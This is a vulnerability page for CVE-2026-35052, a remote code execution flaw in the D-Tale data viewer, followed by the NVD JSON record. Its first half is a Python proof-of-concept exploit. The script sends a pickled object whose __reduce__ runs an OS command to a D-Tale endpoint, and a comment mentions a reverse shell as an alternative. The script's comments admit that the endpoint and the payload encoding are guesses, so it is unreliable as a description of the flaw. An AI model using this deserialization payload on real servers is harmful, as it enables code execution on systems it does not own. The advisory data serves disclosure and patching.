CVE-2026-35052

import requests import pickle import base64 # Proof of Concept for CVE-2026-35052 # Description: Exploits insecure deserialization in D-Tale using Redis/Shelf storage. # Target configuration TARGET_URL = "http://vulnerable-d-tale-host:40000" # Define malicious payload (e.g., command execution) class MaliciousPayload: def __reduce__(self): # Command to execute (e.g., creating a file or reverse shell) import os return (os.system, ('touch /tmp/pwned',)) # Serialize the payload using pickle serialized_data = pickle.dumps(MaliciousPayload()) # Encode if necessary (depending on API implementation) # Assuming the API accepts base64 encoded data for storage encoded_payload = base64.b64encode(serialized_data).decode('utf-8') # Construct the malicious request # Note: The exact endpoint might vary based on D-Tale configuration endpoint = f"{TARGET_URL}/dtale/process-data" headers = { "Content-Type": "application/json" } # Payload structure simulating data sent to the storage layer payload_json = { "data_id": "exploit_test", "data": encoded_payload, "store_type": "redis" # Explicitly targeting vulnerable storage } try: print("Sending malicious payload to target...") response = requests.post(endpoint, json=payload_json, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully. Check if command executed.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error during exploitation: {e}")

{"cve": {"id": "CVE-2026-35052", "sourceIdentifier": "[email protected]", "published": "2026-04-06T18:16:42.747", "lastModified": "2026-04-20T18:36:34.007", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "D-Tale is the combination of a Flask back-end and a React front-end to view & analyze Pandas data structures. Prior to 3.22.0, users hosting D-Tale publicly while using a redis or shelf storage layer could be vulnerable to remote code execution allowing attackers to run malicious code on the server. This vulnerability is fixed in 3.22.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:man:d-tale:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.22.0", "matchCriteriaId": "B6E18AFE-D726-4140-9A1D-1A993EF4B206"}]}]}], "references": [{"url": "https://github.com/man-group/dtale/security/advisories/GHSA-436g-fhfc-9g5w", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}